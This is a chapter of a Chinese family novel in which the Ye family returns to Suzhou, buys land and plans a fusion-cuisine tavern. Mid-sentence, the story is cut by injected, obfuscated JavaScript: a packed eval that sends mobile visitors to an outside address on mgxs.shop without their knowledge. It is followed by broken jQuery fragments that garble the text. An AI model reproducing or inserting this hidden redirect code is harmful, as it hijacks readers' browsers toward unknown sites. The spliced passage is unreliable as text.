扬州与姑苏本就同属江南,水路通畅、官道平坦,不过一日路程,便顺利抵达姑苏城。
马车缓缓驶入熟悉的街巷,青瓦白墙、小桥流水依旧,两岸杨柳依依,满是故土的温润气息。叶家老宅早已收拾妥当,虽久未居住,却依旧整洁,一踏进门,满是熟悉的烟火与乡愁。
一路归来,初南絮与晚禾早已备好各色礼物——扬州特产的糕点、绸缎,蜀地带来的腊味、茶叶,还有精心置办的滋补好物。一家人稍作休整,便带着礼物登门,分给左邻右舍、旧时亲友。
多年未见,邻里们纷纷出门相迎,看着叶祎仕途顺遂、阖家团圆,又添了乖巧的小知安,无不感叹时光飞逝、岁月安好。
“当年祎儿远赴蜀地,还是青涩模样,如今已是一方知州,还带回了这么乖巧的孙儿,真是叶家的福气!”
“阿絮也是,这么多年不见,依旧温婉得体,小少爷长得虎头虎脑,实在惹人疼!”
邻里乡亲们围着襁褓中早已长大的知安,满眼喜爱。如今的小知安,已满十四个月,褪去婴儿肥,却依旧白白胖胖,眉眼灵动,被街坊们笑着唤作“小肉团子”。他早已能稳稳当当独自走路,步子迈得稳当,还能喊出“阿爹”“阿娘”“阿公”“阿婆”等简短字句,声音软糯奶气,乖巧懂事,从不哭闹。
恰逢端午将至,街坊邻里们满心欢喜,纷纷掏出提前备好的红包,塞给知安,全是对小公子的疼爱与祝福。长辈们还亲手编了五彩绳,细细系在知安的手腕、脚腕上,丝线红蓝黄绿黑交织,寓意驱邪避灾、平安顺遂,小家伙攥着五彩绳,晃着小手咯咯直笑,惹得众人更是喜爱。
阿公阿婆看着熟悉的邻里,听着地道的姑苏乡音,满心都是久别归乡的安稳;初南絮站在老宅院中,看着旧时风物,陪着邻里闲话家常,心底的乡愁尽数消散。
安居几日,阿公阿婆便拉着初南絮,在正厅细细商议家事。
“如今祎儿在扬州任知州,仕途安稳,咱们一家人虽四处奔波,终究要留一份故土根基。”阿公捋着胡须,语气沉稳,“我和你阿婆商议过,想在城郊置一处大宅院,环境清幽、院落宽敞,日后咱们年老归隐,或是全家团聚小住,都有安稳去处;再置办五十亩薄田,建一个田庄,雇人耕种,既能收些租子补贴家用,也能给叶家留一份恒产,往后日子更有依仗。”
初南絮当即柔声应允,没有半分迟疑:“爹娘思虑周全,置办家业、稳固根基,本就是应当之事。家中银钱充裕,尽管挑选合心意的宅院和田地,一切听凭二老做主。”
她本就心思通透,深知叶家辗转蜀地、扬州,在姑苏留下一份田产家业,既是老人的心愿,也是全家的退路,这般安排,稳妥至极。
趁着归乡的时日,初南絮也特意去了早年置办的酒肆查看。时隔多年,姑苏酒肆生意依旧红火,店内座无虚席,食客往来不绝,掌柜与伙计经营得当,菜品地道、口碑甚好,甚至还应食客需求,做起了外送餐食,无论是达官贵人的家宴小食,还是寻常百姓的家常饭菜,均可上门配送,生意愈发红火。
看着酒肆蒸蒸日上,初南絮心中萌生新的主意,当即与公婆商议:“咱们这酒肆,向来只做姑苏本帮菜,口味单一。如今我辗转岭南、川蜀、扬州三地,见识过各地风味佳肴——岭南菜清鲜、川蜀菜浓香、扬州菜雅致,若是把这些菜系都引入姑苏,再改良口味,适配姑苏人的清淡喜好,做一家融合各地风味的酒肆,定然能吸引更多食客,生意定会更上一层楼。”
公婆听后,连连称赞此计甚好,既盘活了家业,又能凭借独特风味站稳脚跟,拓宽进项。
说干就干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552524|203446||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一家人立刻风风火火张罗起来。选址、盘店、装修、招募厨子、研发菜品,初南絮亲自把关,将川蜀的麻辣改良为鲜辣、岭南的生滚改良为温润、淮扬的精工保留精髓,兼顾各地风味又贴合姑苏口味,事事亲力亲为,晚禾也全程帮衬,打理琐事、对接伙计,整日忙碌却满心欢喜。
日子就在这般置办家业、拓展生意的忙碌中,过得充实又红火。城郊宅院、五十亩田庄逐一敲定过户,新酒肆的筹备也有条不紊地推进,老宅里邻里往来不断,小知安日日在庭院中蹒跚学步、牙牙学语,满院都是温情烟火。
这日午后,一封来自扬州的书信,快马送至叶家老宅,正是叶祎的亲笔信。
信中言道,他在扬州理政一切顺利,衙内政务梳理妥当,百姓安居乐业,院中竹景依旧,日日都在思念妻儿老小。唯独提及,扬州盐商富庶,历来与巡盐御史纠葛颇深,其间牵扯诸多利益首尾,事务繁杂棘手,需慢慢梳理处置,暂无大碍,无需家人忧心。
字里行间,尽是对阖家老小的牵挂,对知安的思念,还有独守扬州的孤寂。
初南絮捧着书信,一字一句细细读完,眼底满是温柔与牵挂,当即铺纸研墨,提笔回信。将姑苏邻里和睦、置办家业、酒肆红火、知安乖巧成长诸事,一一细细告知,又柔声叮嘱他公务繁忙之余,务必保重身体,待秋日一到,便即刻返回扬州团聚。
晚禾站在一旁,看着书信笑着说道:“姐夫在扬州一切安好,等咱们这边诸事安顿妥当,就能早日回去团聚了。”
初南絮颔首,将书信小心封好,望着姑苏城外的青山绿水,心中满是期许。
故土故里家业渐兴,稚子乖巧绕膝,远方良人平安顺遂,一纸书信遥寄相思,江南的日子,就在这烟火、家业、相思中,安稳而热烈地往前走着。